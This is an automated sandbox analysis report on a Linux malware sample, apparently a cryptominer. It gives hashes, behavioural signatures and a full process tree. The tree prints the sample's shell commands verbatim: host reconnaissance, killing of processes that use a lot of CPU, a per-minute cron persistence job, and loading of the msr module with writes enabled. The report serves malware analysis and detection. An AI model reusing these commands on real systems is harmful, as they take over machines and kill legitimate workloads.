Resubmissions

07-06-2023 15:38

230607-s3e1cach8w 7

07-06-2023 15:35

230607-s1gq6acc63 7

Analysis

  • max time kernel
    1803s
  • max time network
    1804s
  • platform
    linux_amd64
  • resource
    ubuntu1804-amd64-en-20211208
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07-06-2023 15:38

General

  • Target

    1

  • Size

    2.3MB

  • MD5

    fb95fc8c3ed253dec1b08722f1bbf18e

  • SHA1

    d48d6dc76323efa8c0ae799d245a650b9d914c09

  • SHA256

    215293b8bdd0a57497d5cc62421e64bb29334e088578679cbf509d66c7b7dc7e

  • SHA512

    498f68c04f66a4cbcfed7e38f779183b2a7766948def1d159158c2799893ddcfb9a7dc2762c8958d6ae479a62f71edee460ac31a5939aa3c149efe59a987834e

  • SSDEEP

    49152:QM4HMaoo1fdQLCS1ytoWW7b/7GN2PM6jm:94Hp11aChtoB7b/7GYEZ

Malware Config

Signatures

  • Loads a kernel module 1 IoCs

    Loads a Linux kernel module, potentially to achieve persistence

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Enumerates kernel/hardware configuration 1 TTPs 59 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1
    /tmp/1
    1⤵
    • Checks CPU configuration
    • Checks hardware identifiers (DMI)
    • Reads CPU attributes
    • Reads hardware information
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:584
    • /bin/sh
      sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
      2⤵
        PID:585
        • /usr/bin/whoami
          whoami
          3⤵
            PID:596
          • /bin/hostname
            hostname
            3⤵
              PID:597
            • /bin/grep
              grep -c "^processor" /proc/cpuinfo
              3⤵
              • Checks CPU configuration
              PID:598
          • /bin/sh
            sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
            2⤵
              PID:618
              • /bin/ps
                ps -A "-ostat,ppid"
                3⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:619
              • /usr/bin/awk
                awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                3⤵
                  PID:620
                • /usr/bin/id
                  id -u
                  3⤵
                    PID:622
                  • /bin/ps
                    ps x
                    3⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:623
                  • /bin/grep
                    grep /etc/cron
                    3⤵
                      PID:624
                    • /bin/grep
                      grep -v grep
                      3⤵
                        PID:625
                    • /bin/sh
                      sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                      2⤵
                        PID:627
                        • /usr/bin/id
                          id -u
                          3⤵
                            PID:628
                          • /bin/grep
                            grep -v grep
                            3⤵
                              PID:630
                            • /bin/grep
                              grep -v -- "-bash[[:space:]]*\$"
                              3⤵
                                PID:631
                              • /bin/ps
                                ps aux
                                3⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:629
                              • /bin/grep
                                grep -v /usr/sbin/httpd
                                3⤵
                                  PID:632
                                • /usr/bin/awk
                                  awk "{if(\$3>30.0) print \$2}"
                                  3⤵
                                    PID:633
                                • /bin/sh
                                  sh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/1' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/1' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/1\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:635
                                  • /bin/rm
                                    rm -rf /tmp/.cron
                                    3⤵
                                      PID:637
                                    • /bin/grep
                                      grep -v grep
                                      3⤵
                                        PID:639
                                      • /usr/bin/crontab
                                        crontab -l
                                        3⤵
                                          PID:638
                                        • /bin/grep
                                          grep -v /tmp/1
                                          3⤵
                                            PID:640
                                          • /usr/bin/crontab
                                            crontab /tmp/.cron
                                            3⤵
                                            • Creates/modifies Cron job
                                            PID:648
                                          • /bin/rm
                                            rm -rf /tmp/.cron
                                            3⤵
                                              PID:649
                                          • /bin/sh
                                            sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
                                            2⤵
                                              PID:650
                                              • /usr/bin/id
                                                id -u
                                                3⤵
                                                  PID:651
                                            • /bin/hostname
                                              hostname -I
                                              1⤵
                                                PID:588
                                              • /usr/bin/awk
                                                awk "{print \$1}"
                                                1⤵
                                                  PID:590
                                                • /bin/cat
                                                  cat /etc/ssh/sshd_config
                                                  1⤵
                                                    PID:592
                                                  • /bin/grep
                                                    grep "Port "
                                                    1⤵
                                                      PID:593
                                                    • /usr/bin/head
                                                      head -n 1
                                                      1⤵
                                                        PID:594
                                                      • /usr/bin/awk
                                                        awk "{print \"-\"\$2}"
                                                        1⤵
                                                          PID:595
                                                        • /bin/grep
                                                          grep -m 1 "model name" /proc/cpuinfo
                                                          1⤵
                                                          • Checks CPU configuration
                                                          PID:601
                                                        • /usr/bin/cut
                                                          cut -d: -f2
                                                          1⤵
                                                            PID:602
                                                          • /bin/sed
                                                            sed -e "s/^ *//"
                                                            1⤵
                                                              PID:603
                                                            • /bin/sed
                                                              sed -e "s/\$//"
                                                              1⤵
                                                                PID:604
                                                              • /usr/bin/awk
                                                                awk "{print \$1}"
                                                                1⤵
                                                                  PID:611
                                                                • /usr/bin/awk
                                                                  awk "{print \$4}"
                                                                  1⤵
                                                                    PID:614
                                                                  • /usr/bin/awk
                                                                    awk "{print \$4}"
                                                                    1⤵
                                                                      PID:617
                                                                    • /usr/bin/crontab
                                                                      crontab -l
                                                                      1⤵
                                                                        PID:642
                                                                      • /bin/grep
                                                                        grep -v grep
                                                                        1⤵
                                                                          PID:643
                                                                        • /bin/grep
                                                                          grep "/tmp/1\$"
                                                                          1⤵
                                                                            PID:644
                                                                          • /usr/bin/sort
                                                                            sort
                                                                            1⤵
                                                                              PID:645
                                                                            • /usr/bin/uniq
                                                                              uniq
                                                                              1⤵
                                                                                PID:646
                                                                              • /usr/bin/wc
                                                                                wc -l
                                                                                1⤵
                                                                                  PID:647
                                                                                • /bin/ps
                                                                                  ps aux
                                                                                  1⤵
                                                                                  • Reads CPU attributes
                                                                                  • Reads runtime system information
                                                                                  PID:653
                                                                                • /bin/grep
                                                                                  grep -v grep
                                                                                  1⤵
                                                                                    PID:654
                                                                                  • /bin/grep
                                                                                    grep -- "-bash[[:space:]]*\$"
                                                                                    1⤵
                                                                                      PID:655
                                                                                    • /usr/bin/awk
                                                                                      awk "{if(\$3>30.0) print \$2}"
                                                                                      1⤵
                                                                                        PID:656
                                                                                      • /usr/bin/wc
                                                                                        wc -l
                                                                                        1⤵
                                                                                          PID:657
                                                                                        • /bin/sh
                                                                                          sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
                                                                                          1⤵
                                                                                            PID:664
                                                                                            • /sbin/modprobe
                                                                                              /sbin/modprobe msr "allow_writes=on"
                                                                                              2⤵
                                                                                              • Enumerates kernel/hardware configuration
                                                                                              PID:665

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v6

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • /tmp/.cron

                                                                                            Filesize

                                                                                            22B

                                                                                            MD5

                                                                                            0c846569fad0c790b8a218e5ed420694

                                                                                            SHA1

                                                                                            ee8cfcde03a4fd38e1e6fbe7d0e3fd4c9aa18748

                                                                                            SHA256

                                                                                            2f03f23bb049d1ff68b15611e1ad1ee89c93a472a025fd748eb592dd31560cb4

                                                                                            SHA512

                                                                                            3b59ac36c4d688fe9bfc64d3a52db4c5e8b9443344be4d42d51717c92932a56117215ce3975fd2df60f4fcb9910c81f05bfc18a4762359d31fed089b090cc7bd

                                                                                          • /var/spool/cron/crontabs/tmp.lPvkrO

                                                                                            Filesize

                                                                                            206B

                                                                                            MD5

                                                                                            4b6f117cbb08cdb4fdb3cde032ea3370

                                                                                            SHA1

                                                                                            4a275c73f119747ffb6d59dbb2ace4967c23c1a3

                                                                                            SHA256

                                                                                            f938041dad4688899c4bf3741fc6dd029977eda5ec974bc8610ceef36760ae52

                                                                                            SHA512

                                                                                            f707079fea7ff55107c6f7fbfe488b18d68c98427cf544c1b1b3dbb3de4a2912f64f23230980aed6d133ee80e1bbce5b0b8eb0efe9613fcbfa86ad824d13054a